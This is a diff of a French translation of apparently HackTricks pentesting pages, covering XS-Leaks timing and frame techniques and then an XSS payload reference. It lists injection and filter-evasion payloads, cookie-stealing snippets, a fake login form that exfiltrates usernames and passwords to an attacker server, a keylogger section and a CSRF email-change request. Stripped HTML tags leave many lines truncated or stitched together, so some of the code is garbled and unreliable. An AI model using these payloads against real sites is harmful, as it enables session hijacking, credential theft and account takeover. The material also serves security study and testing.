unload/beforeunload +### Timing de déchargement/avant le déchargement * **Méthodes d'inclusion**: Cadres -* **Différence détectable**: Chronométrage (généralement dû au contenu de la page, au code d'état) +* **Différence détectable**: Timing (généralement due au contenu de la page, au code d'état) * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) * **Résumé:** L'horloge [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. D'autres horloges pourraient être utilisées. * **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events) -Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) et [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). L'événement **`beforeunload`** est déclenché lorsque le navigateur s'apprête à naviguer vers une nouvelle page, tandis que l'événement **`unload`** se produit lorsque la navigation est effectivement en cours. La différence de temps entre ces deux événements peut être calculée pour déterminer la **durée pendant laquelle le navigateur a passé à récupérer la ressource**. +Le temps nécessaire pour récupérer une ressource peut être mesuré en utilisant les événements [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload\_event) et [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload\_event). L'événement **`beforeunload`** est déclenché lorsque le navigateur s'apprête à naviguer vers une nouvelle page, tandis que l'événement **`unload`** se produit lorsque la navigation est effectivement en cours. La différence de temps entre ces deux événements peut être calculée pour déterminer la **durée pendant laquelle le navigateur a passé à récupérer la ressource**. -### Chronométrage du cadre sandbox + onload +### Timing de cadre sandbox + onload * **Méthodes d'inclusion**: Cadres -* **Différence détectable**: Chronométrage (généralement dû au contenu de la page, au code d'état) +* **Différence détectable**: Timing (généralement due au contenu de la page, au code d'état) * **Plus d'informations**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) * **Résumé:** L'API [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) peut être utilisée pour mesurer le temps nécessaire pour effectuer une requête. D'autres horloges pourraient être utilisées. * **Exemple de code**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Il a été observé que en l'absence de [Protections de cadrage](https://xsleaks.dev/docs/defenses/opt-in/xfo/), le temps nécessaire pour qu'une page et ses sous-ressources se chargent sur le réseau peut être mesuré par un attaquant. Cette mesure est généralement possible car le gestionnaire `onload` d'un iframe est déclenché uniquement après l'achèvement du chargement des ressources et de l'exécution JavaScript. Pour contourner la variabilité introduite par l'exécution de script, un attaquant pourrait utiliser l'attribut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) dans la balise ` ``` ### #ID + erreur + onload -* **Méthodes d'inclusion** : Cadres -* **Différence détectable** : Contenu de la page -* **Plus d'informations** : -* **Résumé** : Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est consulté et la charger correctement lorsque n'importe quel contenu est consulté, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps. -* **Exemple de code** : +* **Méthodes d'inclusion**: Cadres +* **Différence détectable**: Contenu de la page +* **Plus d'informations**: +* **Résumé**: Si vous pouvez provoquer une erreur sur la page lorsque le contenu correct est consulté et la charger correctement lorsque n'importe quel contenu est consulté, alors vous pouvez créer une boucle pour extraire toutes les informations sans mesurer le temps. +* **Exemple de code**: Supposez que vous puissiez **insérer** la **page** qui contient le **contenu secret** **à l'intérieur d'un Iframe**. -Vous pouvez **faire en sorte que la victime recherche** le fichier contenant "_**flag**_" en utilisant un **Iframe** (en exploitant par exemple une CSRF). À l'intérieur de l'Iframe, vous savez que l'_**événement onload**_ sera **exécuté au moins une fois**. Ensuite, vous pouvez **changer** l'**URL** de l'**iframe** en changeant uniquement le **contenu** du **hash** dans l'URL. +Vous pouvez **faire en sorte que la victime recherche** le fichier contenant "_**flag**_" en utilisant un **Iframe** (en exploitant par exemple une CSRF). À l'intérieur de l'Iframe, vous savez que l'événement _**onload**_ sera **exécuté au moins une fois**. Ensuite, vous pouvez **changer** l'**URL** de l'**iframe** en changeant uniquement le **contenu** du **hash** dans l'URL. -Par exemple : +Par exemple: -1. **URL1** : www.attacker.com/xssearch#try1 -2. **URL2** : www.attacker.com/xssearch#try2 +1. **URL1**: www.attacker.com/xssearch#try1 +2. **URL2**: www.attacker.com/xssearch#try2 -Si la première URL a été **chargée avec succès**, alors, lorsque vous **changez** la **partie hash** de l'URL, l'événement **onload** ne sera **pas déclenché à nouveau**. Mais **si** la page a rencontré une **erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**. +Si la première URL a été **chargée avec succès**, alors, lorsque vous **changez** la partie **hash** de l'URL, l'événement **onload** ne sera **pas déclenché** à nouveau. Mais **si** la page a rencontré une sorte d'**erreur** lors du **chargement**, alors, l'événement **onload** sera **déclenché à nouveau**. Ainsi, vous pouvez **distinguer** une page **chargée correctement** d'une page qui a une **erreur** lorsqu'elle est consultée. ### Exécution de Javascript -* **Méthodes d'inclusion** : Cadres -* **Différence détectable** : Contenu de la page -* **Plus d'informations** : -* **Résumé** : Si la **page** renvoie le **contenu sensible**, ou un **contenu** qui peut être **contrôlé** par l'utilisateur. L'utilisateur pourrait définir du **code JS valide dans le cas négatif**, et **charger** chaque essai à l'intérieur des balises **``** d'une page HTML, à l'intérieur d'un fichier `.js` ou à l'intérieur d'un attribut utilisant le protocole **`javascript:`** : -* Si elle est réfléchie entre les balises **``**, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter `` et sortir de ce contexte. Cela fonctionne car le **navigateur analysera d'abord les balises HTML** puis le contenu, il ne remarquera donc pas que votre balise `` injectée est à l'intérieur du code HTML. -* Si elle est réfléchie **à l'intérieur d'une chaîne JS** et que le dernier truc ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, il ne sera pas exécuté) : -* `'-alert(1)-'` -* `';-alert(1)//` -* `\';alert(1)//` +* Si elle est réfléchie entre les balises **``**, même si votre entrée est à l'intérieur de guillemets, vous pouvez essayer d'injecter `` et vous échapper de ce contexte. Cela fonctionne car le **navigateur analysera d'abord les balises HTML** puis le contenu, il ne remarquera donc pas que votre balise `` injectée est à l'intérieur du code HTML. +* Si elle est réfléchie **à l'intérieur d'une chaîne JS** et que le dernier astuce ne fonctionne pas, vous devrez **sortir** de la chaîne, **exécuter** votre code et **reconstruire** le code JS (s'il y a une erreur, elle ne sera pas exécutée) : + * `'-alert(1)-'` + * `';-alert(1)//` + * `\';alert(1)//` * Si elle est réfléchie à l'intérieur de littéraux de modèle, vous pouvez **intégrer des expressions JS** en utilisant la syntaxe `${ ... }` : `` var greetings = `Hello, ${alert(1)}` `` -* L'encodage **Unicode** fonctionne pour écrire du **code JavaScript valide** : +* L'**encodage Unicode** fonctionne pour écrire du **code JavaScript valide** : ```javascript \u{61}lert(1) \u0061lert(1) @@ -83,7 +89,7 @@ Dans ce cas, votre entrée est réfléchie entre les balises **`` ou entre les événements HTML qui peuvent exécuter du code JS ou entre les attributs qui acceptent le protocole `javascript:`. ### Échapper à la balise \`, vous pouvez facilement **échapper à la fermeture de la balise ``, vous pourriez facilement **échapper à la fermeture de la balise ` ``` @@ -484,10 +489,10 @@ Si `<>` sont en train d'être nettoyés, vous pouvez toujours échapper la chaî ';alert(document.domain)// \';alert(document.domain)// ``` -### Modèles de littéraux \`\` +### Modèles de chaînes de caractères \`\` -Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de littéraux car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ -Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : +Pour construire des **chaînes de caractères** en dehors des guillemets simples et doubles, JS accepte également les **backticks** **` `` `**. Cela est connu sous le nom de modèles de chaînes de caractères car ils permettent d'**intégrer des expressions JS** en utilisant la syntaxe `${ ... }`.\ +Par conséquent, si vous constatez que votre entrée est **réfléchie** à l'intérieur d'une chaîne de caractères JS qui utilise des backticks, vous pouvez abuser de la syntaxe `${ ... }` pour exécuter du **code JS arbitraire** : Cela peut être **abusé** en utilisant : ```javascript @@ -559,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**Nouvelles lignes JavaScript (à partir de** [**astuce de nouvelle ligne JavaScript**](./#javascript-new-lines) **)** +**Sauts de ligne JavaScript (à partir de** [**l'astuce de saut de ligne JavaScript**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -732,7 +737,7 @@ top[8680439..toString(30)](1) ## **Vulnérabilités DOM** Il y a du **code JS** qui utilise des **données contrôlées de manière non sécurisée par un attaquant** comme `location.href`. Un attaquant pourrait en abuser pour exécuter du code JS arbitraire.\ -**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée sur cette page**](dom-xss.md)**:** +**En raison de l'extension de l'explication des** [**vulnérabilités DOM, elle a été déplacée vers cette page**](dom-xss.md)**:** {% content-ref url="dom-xss.md" %} [dom-xss.md](dom-xss.md) @@ -754,7 +759,7 @@ Vous pourriez vérifier si les **valeurs réfléchies** sont **normalisées en U ### Contournement Ruby-On-Rails En raison des **affectations de masse RoR**, des guillemets sont insérés dans le HTML, puis la restriction des guillemets est contournée et des champs supplémentaires (onfocus) peuvent être ajoutés à l'intérieur de la balise.\ -Par exemple de formulaire ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : +Par exemple ([à partir de ce rapport](https://hackerone.com/reports/709336)), si vous envoyez la charge utile : ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa ``` @@ -809,7 +814,7 @@ Si vous êtes capable d'indiquer le **callback** que JavaScript va **exécuter** (De [**ici**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Si vous essayez de charger un script avec un **type de contenu** tel que `application/octet-stream`, Chrome affichera l'erreur suivante : -> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') car son type MIME (‘application/octet-stream’) n'est pas exécutable, et la vérification stricte du type MIME est activée. +> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled. Les seuls **types de contenu** qui permettront à Chrome d'exécuter un **script chargé** sont ceux à l'intérieur de la constante **`kSupportedJavascriptTypes`** de [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc) ```c @@ -869,7 +874,7 @@ import moment from "moment"; import { partition } from "lodash"; ``` -Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'exploiter et déclencher une XSS. +Ce comportement a été utilisé dans [**cette explication**](https://github.com/zwade/yaca/tree/master/solution) pour remapper une bibliothèque vers eval afin de l'abuser et déclencher une XSS. * [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Cette fonctionnalité vise principalement à résoudre certains problèmes causés par le pré-rendu. Cela fonctionne de la manière suivante : ```html @@ -914,7 +919,7 @@ Si la page renvoie un type de contenu text/xml, il est possible d'indiquer un es ``` ### Modèles de Remplacement Spéciaux -Lorsque quelque chose comme **`"some {{template}} data".replace("{{template}}", )`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` +Lorsque quelque chose comme **`"des données {{modèle}}".replace("{{modèle}}", )`** est utilisé. L'attaquant pourrait utiliser [**des remplacements de chaînes spéciaux**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) pour tenter de contourner certaines protections : ``"123 {{modèle}} 456".replace("{{modèle}}", JSON.stringify({"name": "$'$`alert(1)//"}))`` Par exemple, dans [**cette explication**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), cela a été utilisé pour **échapper une chaîne JSON** à l'intérieur d'un script et exécuter du code arbitraire. @@ -966,7 +971,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8"))) ``` * Accès indirect à `require` -[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci: +[Selon ce lien](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050), les modules sont enveloppés par Node.js dans une fonction, comme ceci : ```javascript (function (exports, require, module, __filename, __dirname) { // our actual module code @@ -980,7 +985,7 @@ Par conséquent, si à partir de ce module nous pouvons **appeler une autre fonc ``` {% endcode %} -De manière similaire à l'exemple précédent, il est possible d'**utiliser des gestionnaires d'erreurs** pour accéder à l'**enveloppe** du module et obtenir la fonction **`require`**: +De manière similaire à l'exemple précédent, il est possible d'utiliser des **gestionnaires d'erreurs** pour accéder à l'**enveloppe** du module et obtenir la fonction **`require`**: ```javascript try { null.f() @@ -1025,7 +1030,7 @@ trigger() * [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) * [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) * [http://www.jsfuck.com/](http://www.jsfuck.com) -* JSFuck plus sophistiqué : [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +* JSFuck plus sophistiqué: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) * [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) * [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) * [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1060,7 +1065,7 @@ trigger() [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} -### Récupérer les Cookies +### Récupérer les cookies ```javascript /?c="+document.cookie> @@ -1083,7 +1088,7 @@ trigger() ``` {% hint style="info" %} -Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques façons de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez de la chance. +Vous **ne pourrez pas accéder aux cookies depuis JavaScript** si le drapeau HTTPOnly est défini dans le cookie. Mais ici, vous avez [quelques moyens de contourner cette protection](../hacking-with-cookies/#httponly) si vous avez de la chance. {% endhint %} ### Vol de contenu de la page @@ -1183,7 +1188,7 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Lorsque des données sont saisies dans le champ du mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées. +Lorsque des données sont saisies dans le champ mot de passe, le nom d'utilisateur et le mot de passe sont envoyés au serveur de l'attaquant, même si le client sélectionne un mot de passe enregistré et ne saisit rien, les informations d'identification seront exfiltrées. ### Enregistreur de frappe @@ -1210,8 +1215,6 @@ changeReq.send('csrf='+token+'&email=test@test.com') ``` ### Vol de messages PostMessage - -Stealing PostMessage messages ```markup